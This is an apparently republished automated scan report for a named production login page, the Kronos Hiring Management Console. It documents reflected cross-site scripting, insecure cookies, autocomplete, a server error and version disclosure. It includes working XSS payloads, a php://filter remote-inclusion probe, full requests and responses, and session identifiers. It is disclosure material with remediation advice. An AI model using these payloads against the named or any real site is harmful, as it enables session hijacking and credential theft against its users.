XSS, Cross Site Scripting in hourly.deploy.com, CWE-79, CAPEC-86, DORK, GHDB REPORT SUMMARY
Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.
XSS.CX Home |
XSS.CX Research Blog
Loading
Netsparker - Scan Report Summary
TARGET URL
https://hourly.deploy.com/hmc/report/
SCAN DATE
4/25/2011 8:41:38 AM
REPORT DATE
4/25/2011 8:56:21 AM
SCAN DURATION
00:02:36
Total Requests
Average Speed
req/sec.
9
identified
7
confirmed
0
critical
1
informational
GHDB, DORK Tests
GHDB, DORK Tests
PROFILE
Previous Settings
ENABLED ENGINES
Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled
VULNERABILITIES
Vulnerabilities
VULNERABILITY SUMMARY
Vulnerability Summary
Cross-site Scripting
Cross-site Scripting
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (
Javascript, VbScript ) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.
XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.
Impact
There are many different attacks that can be leveraged through the use of XSS, including:
Hi-jacking users' active session
Changing the look of the page within the victims browser.
Mounting a successful phishing attack.
Intercept data and perform man-in-the-middle attacks.
The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.
Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.
There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.
External References
Parameters
Parameter
Type
Value
Query Based
QUERYSTRING
'"--></style></script><script>alert(0x00004F)</script>
Request
GET /hmc/report/index.cfm?'"--></style></script><script>netsparker(0x00004F)</script> HTTP/1.1 Referer: https://hourly.deploy.com/hmc/report/ User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: hourly.deploy.com Cookie: JSESSIONID=3e306b860232c5826104 Accept-Encoding: gzip, deflate Connection: Keep-Alive
Response
HTTP/1.0 200 OK Date: Mon, 25 Apr 2011 13:41:51 GMT Server: Apache/2.0.46 (Red Hat) Set-Cookie: CFAUTHORIZATION_hmc5_prod_delroy=;expires=Sun, 25-Apr-2010 13:41:51 GMT;path=/,CFAUTHORIZATION_hmc5_prod_delroy=;expires=Sun, 25-Apr-2010 13:41:51 GMT;path=/ Content-Language: en-US Vary: Accept-Encoding,User-Agent Cache-Control: max-age=0 Expires: Mon, 25 Apr 2011 13:41:51 GMT Connection: close Content-Type: text/html; charset=UTF-8 <html><head><title>Login</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="/styles/albertson2_3_production_Sep24/hmc.css" rel="stylesheet" type="text/css"><script src="../javascript/display.js" type="text/javascript"></script></head><body onLoad="document.form1.j_username.focus();" link="#666666" vlink="#666666" alink="#666666"> <form name="form1" action="/hmc/report/index.cfm?'"--></style></script><script>netsparker(0x00004f)</script>" method="post"><p> </p> <TABLE class="drawBox" align="center" BORDER=0 CELLPADDING=0 CELLSPACING=0 WIDTH="340"><!-- RoundedBox Table --> <TR> <TD class="FlexBox_ul"></TD> <TD class="FlexBox_top"></TD> <TD class="FlexBox_ur"></TD> </TR> <TR> <TD class="FlexBox_left"></TD> <TD class="FlexBoxContent"> <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td align="center"> <table border="0" cellpadding="0" cellspacing="0"> <tr> <td height="86" align="center"> <a href="http://www.deploy.com"><img src="/images/logo.jpg" border="0"></a> </td> </tr> <tr> <td height="46" class="formCopy" align="center"> <br/> Welcome to<strong> Kronos Hiring Management Console</strong>.<br/> <br/> Please enter your username and password. <br> <br/> New user? <a href="?'"--></style></script><script>netsparker(0x00004F)</script>®ister=1">Click here</a> to register. <br/> </td> </tr> <tr> <td height="155" align="center"> <script> function checkEnter() { if (window.event.keyCode == 13) /* they hit enter */ document.form1.submit(); } </script> <table border="0" cellpadding="3" cellspacing="0" width="300" height="100"> <tbody> <tr> <td class="fieldLabel">Username:</td> <td><input name="j_username" type="text" tabindex="1" title="Username" size="25" maxlength="50" value="" onKeyPress="checkEnter();"></td> </tr> <tr> <td width="100" class="fieldLabel">Password:</td> <td><input name="j_password" type="password" tabindex="2" title="Password" size="25" maxlength="25" onKeyPress="checkEnter();"></td> </tr> <tr> <td colspan="2" height="20" align="center"> <table id="loginBtn" class="Button" height="19" border="0" cellpadding="0" cellspacing="0" align="center"> <tr> <td class="flexbtn_l"></td> <td class="flexbtn_m" nowrap> <a access= "1" class="flexbtn_m" tabindex="3" href="javascript:document.form1.submit();" title="Login >" > Login > </a> </td> <td class="flexbtn_r"></td> </tr> </table> </td> </tr> </tbody> </form> </table> </td> </tr> </table> </td> </tr></table> </TD> <TD class="FlexBox_right"></TD> </TR> <TR> <TD class="FlexBox_ll"></TD> <TD class="FlexBox_bot"></TD> <TD class="FlexBox_lr"></TD> </TR> </TABLE> <p> </p></body></html>
Parameters
Parameter
Type
Value
Query Based
QUERYSTRING
'"--></style></script><script>alert(0x000054)</script>
Request
GET /hmc/report/?'"--></style></script><script>netsparker(0x000054)</script> HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: hourly.deploy.com Cookie: JSESSIONID=3e306b860232c5826104 Accept-Encoding: gzip, deflate Connection: Keep-Alive
Response
HTTP/1.0 200 OK Date: Mon, 25 Apr 2011 13:42:03 GMT Server: Apache/2.0.46 (Red Hat) Set-Cookie: CFAUTHORIZATION_hmc5_prod_delroy=;expires=Sun, 25-Apr-2010 13:42:03 GMT;path=/,CFAUTHORIZATION_hmc5_prod_delroy=;expires=Sun, 25-Apr-2010 13:42:03 GMT;path=/ Content-Language: en-US Vary: Accept-Encoding,User-Agent Cache-Control: max-age=0 Expires: Mon, 25 Apr 2011 13:42:03 GMT Connection: close Content-Type: text/html; charset=UTF-8 <html><head><title>Login</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="/styles/albertson2_3_production_Sep24/hmc.css" rel="stylesheet" type="text/css"><script src="../javascript/display.js" type="text/javascript"></script></head><body onLoad="document.form1.j_username.focus();" link="#666666" vlink="#666666" alink="#666666"> <form name="form1" action="/hmc/report/index.cfm?'"--></style></script><script>netsparker(0x000054)</script>" method="post"><p> </p> <TABLE class="drawBox" align="center" BORDER=0 CELLPADDING=0 CELLSPACING=0 WIDTH="340"><!-- RoundedBox Table --> <TR> <TD class="FlexBox_ul"></TD> <TD class="FlexBox_top"></TD> <TD class="FlexBox_ur"></TD> </TR> <TR> <TD class="FlexBox_left"></TD> <TD class="FlexBoxContent"> <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td align="center"> <table border="0" cellpadding="0" cellspacing="0"> <tr> <td height="86" align="center"> <a href="http://www.deploy.com"><img src="/images/logo.jpg" border="0"></a> </td> </tr> <tr> <td height="46" class="formCopy" align="center"> <br/> Welcome to<strong> Kronos Hiring Management Console</strong>.<br/> <br/> Please enter your username and password. <br> <br/> New user? <a href="?'"--></style></script><script>netsparker(0x000054)</script>®ister=1">Click here</a> to register. <br/> </td> </tr> <tr> <td height="155" align="center"> <script> function checkEnter() { if (window.event.keyCode == 13) /* they hit enter */ document.form1.submit(); } </script> <table border="0" cellpadding="3" cellspacing="0" width="300" height="100"> <tbody> <tr> <td class="fieldLabel">Username:</td> <td><input name="j_username" type="text" tabindex="1" title="Username" size="25" maxlength="50" value="" onKeyPress="checkEnter();"></td> </tr> <tr> <td width="100" class="fieldLabel">Password:</td> <td><input name="j_password" type="password" tabindex="2" title="Password" size="25" maxlength="25" onKeyPress="checkEnter();"></td> </tr> <tr> <td colspan="2" height="20" align="center"> <table id="loginBtn" class="Button" height="19" border="0" cellpadding="0" cellspacing="0" align="center"> <tr> <td class="flexbtn_l"></td> <td class="flexbtn_m" nowrap> <a access= "1" class="flexbtn_m" tabindex="3" href="javascript:document.form1.submit();" title="Login >" > Login > </a> </td> <td class="flexbtn_r"></td> </tr> </table> </td> </tr> </tbody> </form> </table> </td> </tr> </table> </td> </tr></table> </TD> <TD class="FlexBox_right"></TD> </TR> <TR> <TD class="FlexBox_ll"></TD> <TD class="FlexBox_bot"></TD> <TD class="FlexBox_lr"></TD> </TR> </TABLE> <p> </p></body></html>
Parameters
Parameter
Type
Value
j_password
POST
3
j_username
POST
"><script>alert(9)</script>
Request
POST /hmc/report/index.cfm? HTTP/1.1 Referer: https://hourly.deploy.com/hmc/report/ User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Host: hourly.deploy.com Cookie: JSESSIONID=3e303bfa7828335e3c24 Content-Length: 70 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive j_password=3&j_username=%22%3e%3cscript%3enetsparker(9)%3c%2fscript%3e
Response
HTTP/1.0 200 OK Date: Mon, 25 Apr 2011 13:42:23 GMT Server: Apache/2.0.46 (Red Hat) Set-Cookie: CFAUTHORIZATION_hmc5_prod_delroy=;expires=Sun, 25-Apr-2010 13:42:24 GMT;path=/ Content-Language: en-US Vary: Accept-Encoding,User-Agent Cache-Control: max-age=0 Expires: Mon, 25 Apr 2011 13:42:23 GMT Connection: close Content-Type: text/html; charset=UTF-8 <html><head><title>Login</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="/styles/albertson2_3_production_Sep24/hmc.css" rel="stylesheet" type="text/css"><script src="../javascript/display.js" type="text/javascript"></script></head><body onLoad="document.form1.j_password.focus();" link="#666666" vlink="#666666" alink="#666666"> <form name="form1" action="/hmc/report/index.cfm?" method="post"><p> </p> <TABLE class="drawBox" align="center" BORDER=0 CELLPADDING=0 CELLSPACING=0 WIDTH="340"><!-- RoundedBox Table --> <TR> <TD class="FlexBox_ul"></TD> <TD class="FlexBox_top"></TD> <TD class="FlexBox_ur"></TD> </TR> <TR> <TD class="FlexBox_left"></TD> <TD class="FlexBoxContent"> <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td align="center"> <table border="0" cellpadding="0" cellspacing="0"> <tr> <td height="86" align="center"> <a href="http://www.deploy.com"><img src="/images/logo.jpg" border="0"></a> </td> </tr> <tr> <td height="46" class="formCopy" align="center"> <br/> Welcome to<strong> Kronos Hiring Management Console</strong>.<br/> <br/> Please enter your username and password. <br> <br/> New user? <a href="?register=1">Click here</a> to register. <br/> </td> </tr> <tr> <td height="155" align="center"> <script> function checkEnter() { if (window.event.keyCode == 13) /* they hit enter */ document.form1.submit(); } </script> <table border="0" cellpadding="3" cellspacing="0" width="300" height="100"> <tbody> <tr> <td class="fieldLabel">Username:</td> <td><input name="j_username" type="text" tabindex="1" title="Username" size="25" maxlength="50" value=""><script>netsparker(9)</script>" onKeyPress="checkEnter();"></td> </tr> <tr> <td width="100" class="fieldLabel">Password:</td> <td><input name="j_password" type="password" tabindex="2" title="Password" size="25" maxlength="25" onKeyPress="checkEnter();"></td> </tr> <tr> <td colspan="2" height="20" align="center"> <span class="error"> Invalid username or password. </span><br/> <br/> <table id="loginBtn" class="Button" height="19" border="0" cellpadding="0" cellspacing="0" align="center"> <tr> <td class="flexbtn_l"></td> <td class="flexbtn_m" nowrap> <a access= "1" class="flexbtn_m" tabindex="3" href="javascript:document.form1.submit();" title="Login >" > Login > </a> </td> <td class="flexbtn_r"></td> </tr> </table> </td> </tr> </tbody> </form> </table> </td> </tr> </table> </td> </tr></table> </TD> <TD class="FlexBox_right"></TD> </TR> <TR> <TD class="FlexBox_ll"></TD> <TD class="FlexBox_bot"></TD> <TD class="FlexBox_lr"></TD> </TR> </TABLE> <p> </p></body></html>
Cookie Not Marked As Secure
Cookie Not Marked As Secure
A Cookie was not marked as secure and transmitted over HTTPS. This means the cookie could potentially be stolen by an attacker who can successfully intercept and decrypt the traffic or following a successful MITM (
Man in the middle ) attack.
Impact
This cookie will be transmitted over a HTTP connection, therefore if this cookie is important (such as a session cookie ) an attacker might intercept it and hijack a victim's session. If the attacker can carry out a MITM attack, he/she can force victim to make a HTTP request to steal the cookie.
Actions to Take
See the remedy for solution.
Mark all cookies used within the application as secure. (If the cookie is not related to authentication or does not carry any personal information you do not have to mark it as secure. ))
Mark all cookies used within the application as secure.
Required Skills for Successful Exploitation
To exploit this issue, the attacker needs to be able to intercept traffic. This generally requires local access to the web server or victim's network. Attackers need to be understand layer 2, have physical access to systems either as way points for the traffic, or locally (have gained access to ) to a system between the victim and the web server.
JSESSIONID
Request
GET /hmc/report/ HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: hourly.deploy.com Accept-Encoding: gzip, deflate Connection: Keep-Alive
Response
HTTP/1.0 200 OK Date: Mon, 25 Apr 2011 13:41:27 GMT Server: Apache/2.0.46 (Red Hat) Set-Cookie: JSESSIONID=42308b2ae61946f42315;path=/,CFAUTHORIZATION_hmc5_prod_delroy=;expires=Sun, 25-Apr-2010 13:41:27 GMT;path=/,CFAUTHORIZATION_hmc5_prod_delroy=;expires=Sun, 25-Apr-2010 13:41:27 GMT;path=/ Content-Language: en-US Vary: Accept-Encoding,User-Agent Cache-Control: max-age=0 Expires: Mon, 25 Apr 2011 13:41:27 GMT Connection: close Content-Type: text/html; charset=UTF-8 <html><head><title>Login</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="/styles/albertson2_3_production_Sep24/hmc.css" rel="stylesheet" type="text/css"><script src="../javascript/display.js" type="text/javascript"></script></head><body onLoad="document.form1.j_username.focus();" link="#666666" vlink="#666666" alink="#666666"> <form name="form1" action="/hmc/report/index.cfm?" method="post"><p> </p> <TABLE class="drawBox" align="center" BORDER=0 CELLPADDING=0 CELLSPACING=0 WIDTH="340"><!-- RoundedBox Table --> <TR> <TD class="FlexBox_ul"></TD> <TD class="FlexBox_top"></TD> <TD class="FlexBox_ur"></TD> </TR> <TR> <TD class="FlexBox_left"></TD> <TD class="FlexBoxContent"> <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td align="center"> <table border="0" cellpadding="0" cellspacing="0"> <tr> <td height="86" align="center"> <a href="http://www.deploy.com"><img src="/images/logo.jpg" border="0"></a> </td> </tr> <tr> <td height="46" class="formCopy" align="center"> <br/> Welcome to<strong> Kronos Hiring Management Console</strong>.<br/> <br/> Please enter your username and password. <br> <br/> New user? <a href="?register=1">Click here</a> to register. <br/> </td> </tr> <tr> <td height="155" align="center"> <script> function checkEnter() { if (window.event.keyCode == 13) /* they hit enter */ document.form1.submit(); } </script> <table border="0" cellpadding="3" cellspacing="0" width="300" height="100"> <tbody> <tr> <td class="fieldLabel">Username:</td> <td><input name="j_username" type="text" tabindex="1" title="Username" size="25" maxlength="50" value="" onKeyPress="checkEnter();"></td> </tr> <tr> <td width="100" class="fieldLabel">Password:</td> <td><input name="j_password" type="password" tabindex="2" title="Password" size="25" maxlength="25" onKeyPress="checkEnter();"></td> </tr> <tr> <td colspan="2" height="20" align="center"> <table id="loginBtn" class="Button" height="19" border="0" cellpadding="0" cellspacing="0" align="center"> <tr> <td class="flexbtn_l"></td> <td class="flexbtn_m" nowrap> <a access= "1" class="flexbtn_m" tabindex="3" href="javascript:document.form1.submit();" title="Login >" > Login > </a> </td> <td class="flexbtn_r"></td> </tr> </table> </td> </tr> </tbody> </form> </table> </td> </tr> </table> </td> </tr></table> </TD> <TD class="FlexBox_right"></TD> </TR> <TR> <TD class="FlexBox_ll"></TD> <TD class="FlexBox_bot"></TD> <TD class="FlexBox_lr"></TD> </TR> </TABLE> <p> </p></body></html>
Internal Server Error
Internal Server Error
The Server responded with an HTTP status 500. This indicates that there is a server-side error. Reasons may vary. The behavior should be analysed carefully. If Netsparker is able to find a security issue in the same resource it will report this as a separate vulnerability.
Impact
The impact may vary depending on the condition. Generally this indicates poor coding practices, not enough error checking, sanitization and whitelisting. However there might be a bigger issue such as SQL Injection. If that's the case Netsparker will check for other possible issues and report them separately.
Analyse this issue and review the application code in order to handle unexpected errors, this should be a generic practice which does not disclose further information upon an error. All errors should be handled server side only.
Parameters
Parameter
Type
Value
j_password
POST
3
j_username
POST
php://filter//resource=http://netsparker.com/n? .cfm
Request
POST /hmc/report/index.cfm? HTTP/1.1 Referer: https://hourly.deploy.com/hmc/report/ User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Host: hourly.deploy.com Cookie: JSESSIONID=3e30f0eb525229456582 Content-Length: 78 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive j_password=3&j_username=php://filter//resource=http://netsparker.com/n?%00.cfm
Response
HTTP/1.0 500 Internal Server Error Date: Mon, 25 Apr 2011 13:41:47 GMT Server: Apache/2.0.46 (Red Hat) server-error: true Content-Language: en-US Vary: Accept-Encoding,User-Agent Cache-Control: max-age=0 Expires: Mon, 25 Apr 2011 13:41:47 GMT Connection: close Content-Type: text/html; charset=UTF-8 <!-- " ---></TD></TD></TD></TH></TH></TH></TR></TR></TR></TABLE></TABLE></TABLE></A></ABBREV></ACRONYM></ADDRESS></APPLET></AU></B></BANNER></BIG></BLINK></BLOCKQUOTE></BQ></CAPTION></CENTER></CITE></CODE></COMMENT></DEL></DFN></DIR></DIV></DL></EM></FIG></FN></FONT></FORM></FRAME></FRAMESET></H1></H2></H3></H4></H5></H6></HEAD></I></INS></KBD></LISTING></MAP></MARQUEE></MENU></MULTICOL></NOBR></NOFRAMES></NOSCRIPT></NOTE></OL></P></PARAM></PERSON></PLAINTEXT></PRE></Q></S></SAMP></SCRIPT></SELECT></SMALL></STRIKE></STRONG></SUB></SUP></TABLE></TD></TEXTAREA></TH></TITLE></TR></TT></U></UL></VAR></WBR></XMP> <font face="arial"></font> <html> <head> <title>Error Occurred While Processing Request</title> <script language="JavaScript"> function showHide(targetName) { if( document.getElementById ) { // NS6+ target = document.getElementById(targetName); } else if( document.all ) { // IE4+ target = document.all[targetName]; } if( target ) { if( target.style.display == "none" ) { target.style.display = "inline"; } else { target.style.display = "none"; } } } </script> </head> <body> <font style="COLOR: black; FONT: 16pt/18pt verdana"> The web site you are accessing has experienced an unexpected error.<br> Please contact the website administrator. </font> <br><br> <table border="1" cellpadding="3" bordercolor="#000808" bgcolor="#e7e7e7"> <tr> <td bgcolor="#000066"> <font style="COLOR: white; FONT: 11pt/13pt verdana" color="white"> The following information is meant for the website developer for debugging purposes. </font> </td> <tr> <tr> <td bgcolor="#4646EE"> <font style="COLOR: white; FONT: 11pt/13pt verdana" color="white"> Error Occurred While Processing Request </font> </td> </tr> <tr> <td> <font style="COLOR: black; FONT: 8pt/11pt verdana"> <table width="500" cellpadding="0" cellspacing="0" border="0"> <tr> <td id="tableProps2" align="left" valign="middle" width="500"> <h1 id="textSection1" style="COLOR: black; FONT: 13pt/15pt verdana"> The cause of this output exception was that: coldfusion.tagext.sql.QueryParamTag$InvalidDataException: Invalid data php://filter//resource=http://netsparker.com/n? .cfm value exceeds MAXLENGTH setting 50.. </h1> </td> </tr> <tr> <td id="tablePropsWidth" width="400" colspan="2"> <font style="COLOR: black; FONT: 8pt/11pt verdana"> </font> </td> </tr> <tr> <td height> </td> </tr> <tr> <td colspan="2"> <font style="COLOR: black; FONT: 8pt/11pt verdana"> Resources: <ul> <li>Enable Robust Exception Information to provide greater detail about the source of errors. In the Administrator, click Debugging & Logging > Debugging Settings, and select the Robust Exception Information option.</li> <li>Check the <a href='http://www.macromedia.com/go/proddoc_getdoc' target="new">ColdFusion documentation</a> to verify that you are using the correct syntax.</li> <li>Search the <a href='http://www.macromedia.com/support/coldfusion/' target="new">Knowledge Base</a> to find a solution to your problem.</li> </ul> <p> </td> </tr> <tr> <td colspan="2"> <table border="0" cellpadding="0" cellspacing="0"> <tr> <td><font style="COLOR: black; FONT: 8pt/11pt verdana">Browser </td> <td><font style="COLOR: black; FONT: 8pt/11pt verdana">Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)</td> </tr> <tr> <td><font style="COLOR: black; FONT: 8pt/11pt verdana">Remote Address </td> <td><font style="COLOR: black; FONT: 8pt/11pt verdana">173.193.214.243</td> </tr> <tr> <td><font style="COLOR: black; FONT: 8pt/11pt verdana">Referrer </td> <td><font style="COLOR: black; FONT: 8pt/11pt verdana">https://hourly.deploy.com/hmc/report/</td> </tr> <tr> <td><font style="COLOR: black; FONT: 8pt/11pt verdana">Date/Time </td> <td><font style="COLOR: black; FONT: 8pt/11pt verdana">25-Apr-11 09:41 AM</td> </tr> </table> </td> </tr> </table> </font> </td> </tr> </table> </body></html>
Auto Complete Enabled
Auto Complete Enabled
"Auto Complete" was enabled in one or more of the form fields. These were either "password" fields or important fields such as "Credit Card".
Impact
Data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers such as cyber cafes or airport terminals.
Add the attribute autocomplete="off"
to the form tag or to individual "input" fields.
Actions to Take
See the remedy for the solution.
Find all instances of inputs which store private data and disable autocomplete. Fields which contain data such as "Credit Card" or "CCV" type data should not be cached. You can allow the application to cache usernames and remember passwords, however, in most cases this is not recommended.
Re-scan the application after addressing the identified issues to ensure that all of the fixes have been applied properly.
Required Skills for Successful Exploitation
Dumping all data from a browser can be fairly easy and there exist a number of automated tools to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the auto-complete feature to see previously entered values.
External References
j_password
Request
GET /hmc/report/ HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: hourly.deploy.com Accept-Encoding: gzip, deflate Connection: Keep-Alive
Response
HTTP/1.0 200 OK Date: Mon, 25 Apr 2011 13:41:27 GMT Server: Apache/2.0.46 (Red Hat) Set-Cookie: JSESSIONID=42308b2ae61946f42315;path=/,CFAUTHORIZATION_hmc5_prod_delroy=;expires=Sun, 25-Apr-2010 13:41:27 GMT;path=/,CFAUTHORIZATION_hmc5_prod_delroy=;expires=Sun, 25-Apr-2010 13:41:27 GMT;path=/ Content-Language: en-US Vary: Accept-Encoding,User-Agent Cache-Control: max-age=0 Expires: Mon, 25 Apr 2011 13:41:27 GMT Connection: close Content-Type: text/html; charset=UTF-8 <html><head><title>Login</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="/styles/albertson2_3_production_Sep24/hmc.css" rel="stylesheet" type="text/css"><script src="../javascript/display.js" type="text/javascript"></script></head><body onLoad="document.form1.j_username.focus();" link="#666666" vlink="#666666" alink="#666666"> <form name="form1" action="/hmc/report/index.cfm?" method="post"><p> </p> <TABLE class="drawBox" align="center" BORDER=0 CELLPADDING=0 CELLSPACING=0 WIDTH="340"><!-- RoundedBox Table --> <TR> <TD class="FlexBox_ul"></TD> <TD class="FlexBox_top"></TD> <TD class="FlexBox_ur"></TD> </TR> <TR> <TD class="FlexBox_left"></TD> <TD class="FlexBoxContent"> <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td align="center"> <table border="0" cellpadding="0" cellspacing="0"> <tr> <td height="86" align="center"> <a href="http://www.deploy.com"><img src="/images/logo.jpg" border="0"></a> </td> </tr> <tr> <td height="46" class="formCopy" align="center"> <br/> Welcome to<strong> Kronos Hiring Management Console</strong>.<br/> <br/> Please enter your username and password. <br> <br/> New user? <a href="?register=1">Click here</a> to register. <br/> </td> </tr> <tr> <td height="155" align="center"> <script> function checkEnter() { if (window.event.keyCode == 13) /* they hit enter */ document.form1.submit(); } </script> <table border="0" cellpadding="3" cellspacing="0" width="300" height="100"> <tbody> <tr> <td class="fieldLabel">Username:</td> <td><input name="j_username" type="text" tabindex="1" title="Username" size="25" maxlength="50" value="" onKeyPress="checkEnter();"></td> </tr> <tr> <td width="100" class="fieldLabel">Password:</td> <td><input name="j_password" type="password" tabindex="2" title="Password" size="25" maxlength="25" onKeyPress="checkEnter();"></td> </tr> <tr> <td colspan="2" height="20" align="center"> <table id="loginBtn" class="Button" height="19" border="0" cellpadding="0" cellspacing="0" align="center"> <tr> <td class="flexbtn_l"></td> <td class="flexbtn_m" nowrap> <a access= "1" class="flexbtn_m" tabindex="3" href="javascript:document.form1.submit();" title="Login >" > Login > </a> </td> <td class="flexbtn_r"></td> </tr> </table> </td> </tr> </tbody> </form> </table> </td> </tr> </table> </td> </tr></table> </TD> <TD class="FlexBox_right"></TD> </TR> <TR> <TD class="FlexBox_ll"></TD> <TD class="FlexBox_bot"></TD> <TD class="FlexBox_lr"></TD> </TR> </TABLE> <p> </p></body></html>
Cookie Not Marked As HttpOnly
Cookie Not Marked As HttpOnly
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..
Impact
During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.
Actions to Take
See the remedy for solution
Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.
Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as
XSS Tunnel to bypass HTTPOnly protection.
External References
JSESSIONID
Request
GET /hmc/report/ HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: hourly.deploy.com Accept-Encoding: gzip, deflate Connection: Keep-Alive
Response
HTTP/1.0 200 OK Date: Mon, 25 Apr 2011 13:41:27 GMT Server: Apache/2.0.46 (Red Hat) Set-Cookie: JSESSIONID=42308b2ae61946f42315;path=/,CFAUTHORIZATION_hmc5_prod_delroy=;expires=Sun, 25-Apr-2010 13:41:27 GMT;path=/,CFAUTHORIZATION_hmc5_prod_delroy=;expires=Sun, 25-Apr-2010 13:41:27 GMT;path=/ Content-Language: en-US Vary: Accept-Encoding,User-Agent Cache-Control: max-age=0 Expires: Mon, 25 Apr 2011 13:41:27 GMT Connection: close Content-Type: text/html; charset=UTF-8 <html><head><title>Login</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="/styles/albertson2_3_production_Sep24/hmc.css" rel="stylesheet" type="text/css"><script src="../javascript/display.js" type="text/javascript"></script></head><body onLoad="document.form1.j_username.focus();" link="#666666" vlink="#666666" alink="#666666"> <form name="form1" action="/hmc/report/index.cfm?" method="post"><p> </p> <TABLE class="drawBox" align="center" BORDER=0 CELLPADDING=0 CELLSPACING=0 WIDTH="340"><!-- RoundedBox Table --> <TR> <TD class="FlexBox_ul"></TD> <TD class="FlexBox_top"></TD> <TD class="FlexBox_ur"></TD> </TR> <TR> <TD class="FlexBox_left"></TD> <TD class="FlexBoxContent"> <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td align="center"> <table border="0" cellpadding="0" cellspacing="0"> <tr> <td height="86" align="center"> <a href="http://www.deploy.com"><img src="/images/logo.jpg" border="0"></a> </td> </tr> <tr> <td height="46" class="formCopy" align="center"> <br/> Welcome to<strong> Kronos Hiring Management Console</strong>.<br/> <br/> Please enter your username and password. <br> <br/> New user? <a href="?register=1">Click here</a> to register. <br/> </td> </tr> <tr> <td height="155" align="center"> <script> function checkEnter() { if (window.event.keyCode == 13) /* they hit enter */ document.form1.submit(); } </script> <table border="0" cellpadding="3" cellspacing="0" width="300" height="100"> <tbody> <tr> <td class="fieldLabel">Username:</td> <td><input name="j_username" type="text" tabindex="1" title="Username" size="25" maxlength="50" value="" onKeyPress="checkEnter();"></td> </tr> <tr> <td width="100" class="fieldLabel">Password:</td> <td><input name="j_password" type="password" tabindex="2" title="Password" size="25" maxlength="25" onKeyPress="checkEnter();"></td> </tr> <tr> <td colspan="2" height="20" align="center"> <table id="loginBtn" class="Button" height="19" border="0" cellpadding="0" cellspacing="0" align="center"> <tr> <td class="flexbtn_l"></td> <td class="flexbtn_m" nowrap> <a access= "1" class="flexbtn_m" tabindex="3" href="javascript:document.form1.submit();" title="Login >" > Login > </a> </td> <td class="flexbtn_r"></td> </tr> </table> </td> </tr> </tbody> </form> </table> </td> </tr> </table> </td> </tr></table> </TD> <TD class="FlexBox_right"></TD> </TR> <TR> <TD class="FlexBox_ll"></TD> <TD class="FlexBox_bot"></TD> <TD class="FlexBox_lr"></TD> </TR> </TABLE> <p> </p></body></html>
Apache Version Disclosure
Apache Version Disclosure
Netsparker identified that the target web server is an Apache server. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.
Impact
An attacker can search for specific security vulnerabilities for the version of Apache identified within the SERVER header.
Configure your web server to prevent information leakage from the SERVER
header of its HTTP response.
2.0.46 (Red Hat)
Request
